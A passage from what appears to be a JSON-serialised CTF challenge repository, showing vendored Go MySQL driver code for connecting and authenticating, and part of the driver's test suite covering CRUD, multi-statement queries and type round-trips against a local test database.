dial(mc.cfg.Addr)\n\t} else {\n\t\tnd := net.Dialer{Timeout: mc.cfg.Timeout}\n\t\tmc.netConn, err = nd.Dial(mc.cfg.Net, mc.cfg.Addr)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Enable TCP Keepalives on TCP connections\n\tif tc, ok := mc.netConn.(*net.TCPConn); ok {\n\t\tif err := tc.SetKeepAlive(true); err != nil {\n\t\t\t// Don't send COM_QUIT before handshake.\n\t\t\tmc.netConn.Close()\n\t\t\tmc.netConn = nil\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tmc.buf = newBuffer(mc.netConn)\n\n\t// Set I/O timeouts\n\tmc.buf.timeout = mc.cfg.ReadTimeout\n\tmc.writeTimeout = mc.cfg.WriteTimeout\n\n\t// Reading Handshake Initialization Packet\n\tcipher, err := mc.readInitPacket()\n\tif err != nil {\n\t\tmc.cleanup()\n\t\treturn nil, err\n\t}\n\n\t// Send Client Authentication Packet\n\tif err = mc.writeAuthPacket(cipher); err != nil {\n\t\tmc.cleanup()\n\t\treturn nil, err\n\t}\n\n\t// Handle response to auth packet, switch methods if possible\n\tif err = handleAuthResult(mc, cipher); err != nil {\n\t\t// Authentication failed and MySQL has already closed the connection\n\t\t// (https://dev.mysql.com/doc/internals/en/authentication-fails.html).\n\t\t// Do not send COM_QUIT, just cleanup and return the error.\n\t\tmc.cleanup()\n\t\treturn nil, err\n\t}\n\n\tif mc.cfg.MaxAllowedPacket > 0 {\n\t\tmc.maxAllowedPacket = mc.cfg.MaxAllowedPacket\n\t} else {\n\t\t// Get max allowed packet size\n\t\tmaxap, err := mc.getSystemVar(\"max_allowed_packet\")\n\t\tif err != nil {\n\t\t\tmc.Close()\n\t\t\treturn nil, err\n\t\t}\n\t\tmc.maxAllowedPacket = stringToInt(maxap) - 1\n\t}\n\tif mc.maxAllowedPacket < maxPacketSize {\n\t\tmc.maxWriteSize = mc.maxAllowedPacket\n\t}\n\n\t// Handle DSN Params\n\terr = mc.handleParams()\n\tif err != nil {\n\t\tmc.Close()\n\t\treturn nil, err\n\t}\n\n\treturn mc, nil\n}\n\nfunc handleAuthResult(mc *mysqlConn, oldCipher []byte) error {\n\t// Read Result Packet\n\tcipher, err := mc.readResultOK()\n\tif err == nil {\n\t\treturn nil // auth successful\n\t}\n\n\tif mc.cfg == nil {\n\t\treturn err // auth failed and retry not possible\n\t}\n\n\t// Retry auth if configured to do so.\n\tif mc.cfg.AllowOldPasswords && err == ErrOldPassword {\n\t\t// Retry with old authentication method. Note: there are edge cases\n\t\t// where this should work but doesn't; this is currently \"wontfix\":\n\t\t// https://github.com/go-sql-driver/mysql/issues/184\n\n\t\t// If CLIENT_PLUGIN_AUTH capability is not supported, no new cipher is\n\t\t// sent and we have to keep using the cipher sent in the init packet.\n\t\tif cipher == nil {\n\t\t\tcipher = oldCipher\n\t\t}\n\n\t\tif err = mc.writeOldAuthPacket(cipher); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = mc.readResultOK()\n\t} else if mc.cfg.AllowCleartextPasswords && err == ErrCleartextPassword {\n\t\t// Retry with clear text password for\n\t\t// http://dev.mysql.com/doc/refman/5.7/en/cleartext-authentication-plugin.html\n\t\t// http://dev.mysql.com/doc/refman/5.7/en/pam-authentication-plugin.html\n\t\tif err = mc.writeClearAuthPacket(); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = mc.readResultOK()\n\t} else if mc.cfg.AllowNativePasswords && err == ErrNativePassword {\n\t\tif err = mc.writeNativeAuthPacket(cipher); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t_, err = mc.readResultOK()\n\t}\n\treturn err\n}\n\nfunc init() {\n\tsql.Register(\"mysql\", &MySQLDriver{})\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/go-sql-driver/mysql/driver_test.go",
    "content": "// Go MySQL Driver - A MySQL-Driver for Go's database/sql package\n//\n// Copyright 2013 The Go-MySQL-Driver Authors. All rights reserved.\n//\n// This Source Code Form is subject to the terms of the Mozilla Public\n// License, v. 2.0. If a copy of the MPL was not distributed with this file,\n// You can obtain one at http://mozilla.org/MPL/2.0/.\n\npackage mysql\n\nimport (\n\t\"bytes\"\n\t\"crypto/tls\"\n\t\"database/sql\"\n\t\"database/sql/driver\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\t\"time\"\n)\n\nvar (\n\tuser      string\n\tpass      string\n\tprot      string\n\taddr      string\n\tdbname    string\n\tdsn       string\n\tnetAddr   string\n\tavailable bool\n)\n\nvar (\n\ttDate      = time.Date(2012, 6, 14, 0, 0, 0, 0, time.UTC)\n\tsDate      = \"2012-06-14\"\n\ttDateTime  = time.Date(2011, 11, 20, 21, 27, 37, 0, time.UTC)\n\tsDateTime  = \"2011-11-20 21:27:37\"\n\ttDate0     = time.Time{}\n\tsDate0     = \"0000-00-00\"\n\tsDateTime0 = \"0000-00-00 00:00:00\"\n)\n\n// See https://github.com/go-sql-driver/mysql/wiki/Testing\nfunc init() {\n\t// get environment variables\n\tenv := func(key, defaultValue string) string {\n\t\tif value := os.Getenv(key); value != \"\" {\n\t\t\treturn value\n\t\t}\n\t\treturn defaultValue\n\t}\n\tuser = env(\"MYSQL_TEST_USER\", \"root\")\n\tpass = env(\"MYSQL_TEST_PASS\", \"\")\n\tprot = env(\"MYSQL_TEST_PROT\", \"tcp\")\n\taddr = env(\"MYSQL_TEST_ADDR\", \"localhost:3306\")\n\tdbname = env(\"MYSQL_TEST_DBNAME\", \"gotest\")\n\tnetAddr = fmt.Sprintf(\"%s(%s)\", prot, addr)\n\tdsn = fmt.Sprintf(\"%s:%s@%s/%s?timeout=30s&strict=true\", user, pass, netAddr, dbname)\n\tc, err := net.Dial(prot, addr)\n\tif err == nil {\n\t\tavailable = true\n\t\tc.Close()\n\t}\n}\n\ntype DBTest struct {\n\t*testing.T\n\tdb *sql.DB\n}\n\nfunc runTestsWithMultiStatement(t *testing.T, dsn string, tests ...func(dbt *DBTest)) {\n\tif !available {\n\t\tt.Skipf(\"MySQL server not running on %s\", netAddr)\n\t}\n\n\tdsn += \"&multiStatements=true\"\n\tvar db *sql.DB\n\tif _, err := ParseDSN(dsn); err != errInvalidDSNUnsafeCollation {\n\t\tdb, err = sql.Open(\"mysql\", dsn)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"error connecting: %s\", err.Error())\n\t\t}\n\t\tdefer db.Close()\n\t}\n\n\tdbt := &DBTest{t, db}\n\tfor _, test := range tests {\n\t\ttest(dbt)\n\t\tdbt.db.Exec(\"DROP TABLE IF EXISTS test\")\n\t}\n}\n\nfunc runTests(t *testing.T, dsn string, tests ...func(dbt *DBTest)) {\n\tif !available {\n\t\tt.Skipf(\"MySQL server not running on %s\", netAddr)\n\t}\n\n\tdb, err := sql.Open(\"mysql\", dsn)\n\tif err != nil {\n\t\tt.Fatalf(\"error connecting: %s\", err.Error())\n\t}\n\tdefer db.Close()\n\n\tdb.Exec(\"DROP TABLE IF EXISTS test\")\n\n\tdsn2 := dsn + \"&interpolateParams=true\"\n\tvar db2 *sql.DB\n\tif _, err := ParseDSN(dsn2); err != errInvalidDSNUnsafeCollation {\n\t\tdb2, err = sql.Open(\"mysql\", dsn2)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"error connecting: %s\", err.Error())\n\t\t}\n\t\tdefer db2.Close()\n\t}\n\n\tdsn3 := dsn + \"&multiStatements=true\"\n\tvar db3 *sql.DB\n\tif _, err := ParseDSN(dsn3); err != errInvalidDSNUnsafeCollation {\n\t\tdb3, err = sql.Open(\"mysql\", dsn3)\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"error connecting: %s\", err.Error())\n\t\t}\n\t\tdefer db3.Close()\n\t}\n\n\tdbt := &DBTest{t, db}\n\tdbt2 := &DBTest{t, db2}\n\tdbt3 := &DBTest{t, db3}\n\tfor _, test := range tests {\n\t\ttest(dbt)\n\t\tdbt.db.Exec(\"DROP TABLE IF EXISTS test\")\n\t\tif db2 != nil {\n\t\t\ttest(dbt2)\n\t\t\tdbt2.db.Exec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\t\tif db3 != nil {\n\t\t\ttest(dbt3)\n\t\t\tdbt3.db.Exec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\t}\n}\n\nfunc (dbt *DBTest) fail(method, query string, err error) {\n\tif len(query) > 300 {\n\t\tquery = \"[query too large to print]\"\n\t}\n\tdbt.Fatalf(\"error on %s %s: %s\", method, query, err.Error())\n}\n\nfunc (dbt *DBTest) mustExec(query string, args ...interface{}) (res sql.Result) {\n\tres, err := dbt.db.Exec(query, args...)\n\tif err != nil {\n\t\tdbt.fail(\"exec\", query, err)\n\t}\n\treturn res\n}\n\nfunc (dbt *DBTest) mustQuery(query string, args ...interface{}) (rows *sql.Rows) {\n\trows, err := dbt.db.Query(query, args...)\n\tif err != nil {\n\t\tdbt.fail(\"query\", query, err)\n\t}\n\treturn rows\n}\n\nfunc TestEmptyQuery(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\t// just a comment, no query\n\t\trows := dbt.mustQuery(\"--\")\n\t\t// will hang before #255\n\t\tif rows.Next() {\n\t\t\tdbt.Errorf(\"next on rows must be false\")\n\t\t}\n\t})\n}\n\nfunc TestCRUD(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\t// Create Table\n\t\tdbt.mustExec(\"CREATE TABLE test (value BOOL)\")\n\n\t\t// Test for unexpected data\n\t\tvar out bool\n\t\trows := dbt.mustQuery(\"SELECT * FROM test\")\n\t\tif rows.Next() {\n\t\t\tdbt.Error(\"unexpected data in empty table\")\n\t\t}\n\n\t\t// Create Data\n\t\tres := dbt.mustExec(\"INSERT INTO test VALUES (1)\")\n\t\tcount, err := res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 1 {\n\t\t\tdbt.Fatalf(\"expected 1 affected row, got %d\", count)\n\t\t}\n\n\t\tid, err := res.LastInsertId()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.LastInsertId() returned error: %s\", err.Error())\n\t\t}\n\t\tif id != 0 {\n\t\t\tdbt.Fatalf(\"expected InsertId 0, got %d\", id)\n\t\t}\n\n\t\t// Read\n\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\tif rows.Next() {\n\t\t\trows.Scan(&out)\n\t\t\tif true != out {\n\t\t\t\tdbt.Errorf(\"true != %t\", out)\n\t\t\t}\n\n\t\t\tif rows.Next() {\n\t\t\t\tdbt.Error(\"unexpected data\")\n\t\t\t}\n\t\t} else {\n\t\t\tdbt.Error(\"no data\")\n\t\t}\n\n\t\t// Update\n\t\tres = dbt.mustExec(\"UPDATE test SET value = ? WHERE value = ?\", false, true)\n\t\tcount, err = res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 1 {\n\t\t\tdbt.Fatalf(\"expected 1 affected row, got %d\", count)\n\t\t}\n\n\t\t// Check Update\n\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\tif rows.Next() {\n\t\t\trows.Scan(&out)\n\t\t\tif false != out {\n\t\t\t\tdbt.Errorf(\"false != %t\", out)\n\t\t\t}\n\n\t\t\tif rows.Next() {\n\t\t\t\tdbt.Error(\"unexpected data\")\n\t\t\t}\n\t\t} else {\n\t\t\tdbt.Error(\"no data\")\n\t\t}\n\n\t\t// Delete\n\t\tres = dbt.mustExec(\"DELETE FROM test WHERE value = ?\", false)\n\t\tcount, err = res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 1 {\n\t\t\tdbt.Fatalf(\"expected 1 affected row, got %d\", count)\n\t\t}\n\n\t\t// Check for unexpected rows\n\t\tres = dbt.mustExec(\"DELETE FROM test\")\n\t\tcount, err = res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 0 {\n\t\t\tdbt.Fatalf(\"expected 0 affected row, got %d\", count)\n\t\t}\n\t})\n}\n\nfunc TestMultiQuery(t *testing.T) {\n\trunTestsWithMultiStatement(t, dsn, func(dbt *DBTest) {\n\t\t// Create Table\n\t\tdbt.mustExec(\"CREATE TABLE `test` (`id` int(11) NOT NULL, `value` int(11) NOT NULL) \")\n\n\t\t// Create Data\n\t\tres := dbt.mustExec(\"INSERT INTO test VALUES (1, 1)\")\n\t\tcount, err := res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 1 {\n\t\t\tdbt.Fatalf(\"expected 1 affected row, got %d\", count)\n\t\t}\n\n\t\t// Update\n\t\tres = dbt.mustExec(\"UPDATE test SET value = 3 WHERE id = 1; UPDATE test SET value = 4 WHERE id = 1; UPDATE test SET value = 5 WHERE id = 1;\")\n\t\tcount, err = res.RowsAffected()\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"res.RowsAffected() returned error: %s\", err.Error())\n\t\t}\n\t\tif count != 1 {\n\t\t\tdbt.Fatalf(\"expected 1 affected row, got %d\", count)\n\t\t}\n\n\t\t// Read\n\t\tvar out int\n\t\trows := dbt.mustQuery(\"SELECT value FROM test WHERE id=1;\")\n\t\tif rows.Next() {\n\t\t\trows.Scan(&out)\n\t\t\tif 5 != out {\n\t\t\t\tdbt.Errorf(\"5 != %d\", out)\n\t\t\t}\n\n\t\t\tif rows.Next() {\n\t\t\t\tdbt.Error(\"unexpected data\")\n\t\t\t}\n\t\t} else {\n\t\t\tdbt.Error(\"no data\")\n\t\t}\n\n\t})\n}\n\nfunc TestInt(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\ttypes := [5]string{\"TINYINT\", \"SMALLINT\", \"MEDIUMINT\", \"INT\", \"BIGINT\"}\n\t\tin := int64(42)\n\t\tvar out int64\n\t\tvar rows *sql.Rows\n\n\t\t// SIGNED\n\t\tfor _, v := range types {\n\t\t\tdbt.mustExec(\"CREATE TABLE test (value \" + v + \")\")\n\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (?)\", in)\n\n\t\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\t\tif rows.Next() {\n\t\t\t\trows.Scan(&out)\n\t\t\t\tif in != out {\n\t\t\t\t\tdbt.Errorf(\"%s: %d != %d\", v, in, out)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"%s: no data\", v)\n\t\t\t}\n\n\t\t\tdbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\n\t\t// UNSIGNED ZEROFILL\n\t\tfor _, v := range types {\n\t\t\tdbt.mustExec(\"CREATE TABLE test (value \" + v + \" ZEROFILL)\")\n\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (?)\", in)\n\n\t\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\t\tif rows.Next() {\n\t\t\t\trows.Scan(&out)\n\t\t\t\tif in != out {\n\t\t\t\t\tdbt.Errorf(\"%s ZEROFILL: %d != %d\", v, in, out)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"%s ZEROFILL: no data\", v)\n\t\t\t}\n\n\t\t\tdbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\t})\n}\n\nfunc TestFloat32(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\ttypes := [2]string{\"FLOAT\", \"DOUBLE\"}\n\t\tin := float32(42.23)\n\t\tvar out float32\n\t\tvar rows *sql.Rows\n\t\tfor _, v := range types {\n\t\t\tdbt.mustExec(\"CREATE TABLE test (value \" + v + \")\")\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (?)\", in)\n\t\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\t\tif rows.Next() {\n\t\t\t\trows.Scan(&out)\n\t\t\t\tif in != out {\n\t\t\t\t\tdbt.Errorf(\"%s: %g != %g\", v, in, out)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"%s: no data\", v)\n\t\t\t}\n\t\t\tdbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\t})\n}\n\nfunc TestFloat64(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\ttypes := [2]string{\"FLOAT\", \"DOUBLE\"}\n\t\tvar expected float64 = 42.23\n\t\tvar out float64\n\t\tvar rows *sql.Rows\n\t\tfor _, v := range types {\n\t\t\tdbt.mustExec(\"CREATE TABLE test (value \" + v + \")\")\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (42.23)\")\n\t\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\t\tif rows.Next() {\n\t\t\t\trows.Scan(&out)\n\t\t\t\tif expected != out {\n\t\t\t\t\tdbt.Errorf(\"%s: %g != %g\", v, expected, out)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"%s: no data\", v)\n\t\t\t}\n\t\t\tdbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\t})\n}\n\nfunc TestFloat64Placeholder(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\ttypes := [2]string{\"FLOAT\", \"DOUBLE\"}\n\t\tvar expected float64 = 42.23\n\t\tvar out float64\n\t\tvar rows *sql.Rows\n\t\tfor _, v := range types {\n\t\t\tdbt.mustExec(\"CREATE TABLE test (id int, value \" + v + \")\")\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (1, 42.23)\")\n\t\t\trows = dbt.mustQuery(\"SELECT value FROM test WHERE id = ?\", 1)\n\t\t\tif rows.Next() {\n\t\t\t\trows.Scan(&out)\n\t\t\t\tif expected != out {\n\t\t\t\t\tdbt.Errorf(\"%s: %g != %g\", v, expected, out)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"%s: no data\", v)\n\t\t\t}\n\t\t\tdbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\t})\n}\n\nfunc TestString(t *testing.T) {\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\ttypes := [6]string{\"CHAR(255)\", \"VARCHAR(255)\", \"TINYTEXT\", \"TEXT\", \"MEDIUMTEXT\", \"LONGTEXT\"}\n\t\tin := \"κόσμε üöäßñóùéàâÿœ'îë Árvíztűrő いろはにほへとちりぬるを イロハニホヘト דג סקרן чащах  น่าฟังเอย\"\n\t\tvar out string\n\t\tvar rows *sql.Rows\n\n\t\tfor _, v := range types {\n\t\t\tdbt.mustExec(\"CREATE TABLE test (value \" + v + \") CHARACTER SET utf8\")\n\n\t\t\tdbt.mustExec(\"INSERT INTO test VALUES (?)\", in)\n\n\t\t\trows = dbt.mustQuery(\"SELECT value FROM test\")\n\t\t\tif rows.Next() {\n\t\t\t\trows.Scan(&out)\n\t\t\t\tif in != out {\n\t\t\t\t\tdbt.Errorf(\"%s: %s != %s\", v, in, out)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tdbt.Errorf(\"%s: no data\", v)\n\t\t\t}\n\n\t\t\tdbt.mustExec(\"DROP TABLE IF EXISTS test\")\n\t\t}\n\n\t\t// BLOB\n\t\tdbt.mustExec(\"CREATE TABLE test (id int, value BLOB) CHARACTER SET utf8\")\n\n\t\tid := 2\n\t\tin = \"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, \" +\n\t\t\t\"sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, \" +\n\t\t\t\"sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. \" +\n\t\t\t\"Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet. \" +\n\t\t\t\"Lorem ipsum dolor sit amet, consetetur sadipscing elitr, \" +\n\t\t\t\"sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, \" +\n\t\t\t\"sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. \" +\n\t\t\t\"Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.\"\n\t\tdbt.mustExec(\"INSERT INTO test VALUES (?, ?)\", id, in)\n\n\t\terr := dbt.db.QueryRow(\"SELECT value FROM test WHERE id = ?\", id).Scan(&out)\n\t\tif err != nil {\n\t\t\tdbt.Fatalf(\"Error on BLOB-Query: %s\", err.Error())\n\t\t} else if out != in {\n\t\t\tdbt.Errorf(\"BLOB: %s != %s\", in, out)\n\t\t}\n\t})\n}\n\ntype timeTests struct {\n\tdbtype  string\n\ttlayout string\n\ttests   []timeTest\n}\n\ntype timeTest struct {\n\ts string // leading \"!\": do not use t as value in queries\n\tt time.Time\n}\n\ntype timeMode byte\n\nfunc (t timeMode) String() string {\n\tswitch t {\n\tcase binaryString:\n\t\treturn \"binary:string\"\n\tcase binaryTime:\n\t\treturn \"binary:time.Time\"\n\tcase textString:\n\t\treturn \"text:string\"\n\t}\n\tpanic(\"unsupported timeMode\")\n}\n\nfunc (t timeMode) Binary() bool {\n\tswitch t {\n\tcase binaryString, binaryTime:\n\t\treturn true\n\t}\n\treturn false\n}\n\nconst (\n\tbinaryString timeMode = iota\n\tbinaryTime\n\ttextString\n)\n\nfunc (t timeTest) genQuery(dbtype string, mode timeMode) string {\n\tvar inner string\n\tif mode.Binary() {\n\t\tinner = \"?\"\n\t} else {\n\t\tinner = `\"%s\"`\n\t}\n\treturn `SELECT cast(` + inner + ` as ` + dbtype + `)`\n}\n\nfunc (t timeTest) run(dbt *DBTest, dbtype, tlayout string, mode timeMode) {\n\tvar rows *sql.Rows\n\tquery := t.genQuery(dbtype, mode)\n\tswitch mode {\n\tcase binaryString:\n\t\trows = dbt.mustQuery(query, t.s)\n\tcase binaryTime:\n\t\trows = dbt.mustQuery(query, t.t)\n\tcase textString:\n\t\tquery = fmt.Sprintf(query, t.s)\n\t\trows = dbt.mustQuery(query)\n\tdefault:\n\t\tpanic(\"unsupported mode\")\n\t}\n\tdefer rows.Close()\n\tvar err error\n\tif !rows.Next() {\n\t\terr = rows.Err()\n\t\tif err == nil {\n\t\t\terr = fmt.Errorf(\"no data\")\n\t\t}\n\t\tdbt.Errorf(\"%s [%s]: %s\", dbtype, mode, err)\n\t\treturn\n\t}\n\tvar dst interface{}\n\terr = rows.Scan(&dst)\n\tif err != nil {\n\t\tdbt.Errorf(\"%s [%s]: %s\", dbtype, mode, err)\n\t\treturn\n\t}\n\tswitch val := dst.(type) {\n\tcase []uint8:\n\t\tstr := string(val)\n\t\tif str == t.s {\n\t\t\treturn\n\t\t}\n\t\tif mode.Binary() && dbtype == \"DATETIME\" && len(str) == 26 && str[:19] == t.s {\n\t\t\t// a fix mainly for TravisCI:\n\t\t\t// accept full microsecond resolution in result for DATETIME columns\n\t\t\t// where the binary protocol was used\n\t\t\treturn\n\t\t}\n\t\tdbt.Errorf(\"%s [%s] to string: expected %q, got %q\",\n\t\t\tdbtype, mode,\n\t\t\tt.s, str,\n\t\t)\n\tcase time.Time:\n\t\tif val == t.t {\n\t\t\treturn\n\t\t}\n\t\tdbt.Errorf(\"%s [%s] to string: expected %q, got %q\",\n\t\t\tdbtype, mode,\n\t\t\tt.s, val.Format(tlayout),\n\t\t)\n\tdefault:\n\t\tfmt.Printf(\"%#v\\n\", []interface{}{dbtype, tlayout, mode, t.s, t.t})\n\t\tdbt.Errorf(\"%s [%s]: unhandled type %T (is '%v')\",\n\t\t\tdbtype, mode,\n\t\t\tval, val,\n\t\t)\n\t}\n}\n\nfunc TestDateTime(t *testing.T) {\n\tafterTime := func(t time.Time, d string) time.Time {\n\t\tdur, err := time.ParseDuration(d)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\treturn t.Add(dur)\n\t}\n\t// NOTE: MySQL rounds DATETIME(x) up - but that's not included in the tests\n\tformat := \"2006-01-02 15:04:05.999999\"\n\tt0 := time.Time{}\n\ttstr0 := \"0000-00-00 00:00:00.000000\"\n\ttestcases := []timeTests{\n\t\t{\"DATE\", format[:10], []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 0, 0, 0, 0, time.UTC)},\n\t\t\t{t: t0, s: tstr0[:10]},\n\t\t}},\n\t\t{\"DATETIME\", format[:19], []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 21, 27, 37, 0, time.UTC)},\n\t\t\t{t: t0, s: tstr0[:19]},\n\t\t}},\n\t\t{\"DATETIME(0)\", format[:21], []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 21, 27, 37, 0, time.UTC)},\n\t\t\t{t: t0, s: tstr0[:19]},\n\t\t}},\n\t\t{\"DATETIME(1)\", format[:21], []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 21, 27, 37, 100000000, time.UTC)},\n\t\t\t{t: t0, s: tstr0[:21]},\n\t\t}},\n\t\t{\"DATETIME(6)\", format, []timeTest{\n\t\t\t{t: time.Date(2011, 11, 20, 21, 27, 37, 123456000, time.UTC)},\n\t\t\t{t: t0, s: tstr0},\n\t\t}},\n\t\t{\"TIME\", format[11:19], []timeTest{\n\t\t\t{t: afterTime(t0, \"12345s\")},\n\t\t\t{s: \"!-12:34:56\"},\n\t\t\t{s: \"!-838:59:59\"},\n\t\t\t{s: \"!838:59:59\"},\n\t\t\t{t: t0, s: tstr0[11:19]},\n\t\t}},\n\t\t{\"TIME(0)\", format[11:19], []timeTest{\n\t\t\t{t: afterTime(t0, \"12345s\")},\n\t\t\t{s: \"!-12:34:56\"},\n\t\t\t{s: \"!-838:59:59\"},\n\t\t\t{s: \"!838:59:59\"},\n\t\t\t{t: t0, s: tstr0[11:19]},\n\t\t}},\n\t\t{\"TIME(1)\", format[11:21], []timeTest{\n\t\t\t{t: afterTime(t0, \"12345600ms\")},\n\t\t\t{s: \"!-12:34:56.7\"},\n\t\t\t{s: \"!-838:59:58.9\"},\n\t\t\t{s: \"!838:59:58.9\"},\n\t\t\t{t: t0, s: tstr0[11:21]},\n\t\t}},\n\t\t{\"TIME(6)\", format[11:], []timeTest{\n\t\t\t{t: afterTime(t0, \"1234567890123000ns\")},\n\t\t\t{s: \"!-12:34:56.789012\"},\n\t\t\t{s: \"!-838:59:58.999999\"},\n\t\t\t{s: \"!838:59:58.999999\"},\n\t\t\t{t: t0, s: tstr0[11:]},\n\t\t}},\n\t}\n\tdsns := []string{\n\t\tdsn + \"&parseTime=true\",\n\t\tdsn + \"&parseTime=false\",\n\t}\n\tfor _, testdsn := range dsns {\n\t\trunTests(t, testdsn, func(dbt *DBTest) {\n\t\t\tmicrosecsSupported := false\n\t\t\tzeroDateSupported := false\n\t\t\tvar rows *sql.Rows\n\t\t\tvar err error\n\t\t\trows, err = dbt.db.Query(`SELECT cast(\"00:00:00.1\" as TIME(1)) = \"00:00:00.1\"`)\n\t\t\tif err == nil {\n\t\t\t\trows.Scan(&microsecsSupported)\n\t\t\t\trows.Close()\n\t\t\t}\n\t\t\trows, err = dbt.db.Query(`SELECT cast(\"0000-00-00\" as DATE) = \"0000-00-00\"`)\n\t\t\tif err == nil {\n\t\t\t\trows.Scan(&zeroDateSupported)\n\t\t\t\trows.Close()\n\t\t\t}\n\t\t\tfor _, setups := range testcases {\n\t\t\t\tif t := setups.dbtype; !microsecsSupported && t[len(t)-1:] == \")\" {\n\t\t\t\t\t// skip fractional second tests if unsupported by server\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tfor _, setup := range setups.tests {\n\t\t\t\t\tallowBinTime := true\n\t\t\t\t\tif setup.s == \"\" {\n\t\t\t\t\t\t// fill time string whereever Go can reliable produce it\n\t\t\t\t\t\tsetup.s = setup.t.Format(setups.tlayout)\n\t\t\t\t\t} else if setup.s[0] == '!' {\n\t\t\t\t\t\t// skip tests using setup.t as source in queries\n\t\t\t\t\t\tallowBinTime = false\n\t\t\t\t\t\t// fix setup.s - remove the \"!\"\n\t\t\t\t\t\tsetup.s = setup.s[1:]\n\t\t\t\t\t}\n\t\t\t\t\tif !zeroDateSupported && setup.s == tstr0[:len(setup.s)] {\n\t\t\t\t\t\t// skip disallowed 0000-00-00 date\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tsetup.run(dbt, setups.dbtype, setups.tlayout, textString)\n\t\t\t\t\tsetup.run(dbt, setups.dbtype, setups.tlayout, binaryString)\n\t\t\t\t\tif allowBinTime {\n\t\t\t\t\t\tsetup.run(dbt, setups.dbtype, setups.tlayout, binaryTime)\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestTimestampMicros(t *testing.T) {\n\tformat := \"2006-01-02 15:04:05.999999\"\n\tf0 := format[:19]\n\tf1 := format[:21]\n\tf6 := format[:26]\n\trunTests(t, dsn, func(dbt *DBTest) {\n\t\t// check if microseconds are supported.\n\t\t// Do not use timestamp(x) for that check - before 5.5.6, x would mean display width\n\t\t// and not precision.\n\t\t// Se last paragraph at http://dev.mysql.com/doc/refman/5.6/en/fractional-seconds.html\n\t\tmicrosecsSupported := false\n\t\tif rows, err := dbt.db.Query(`SELECT cast(\"00:00:00.1\" as TIME(1)) = \"00:00:00.1\"`); err == nil 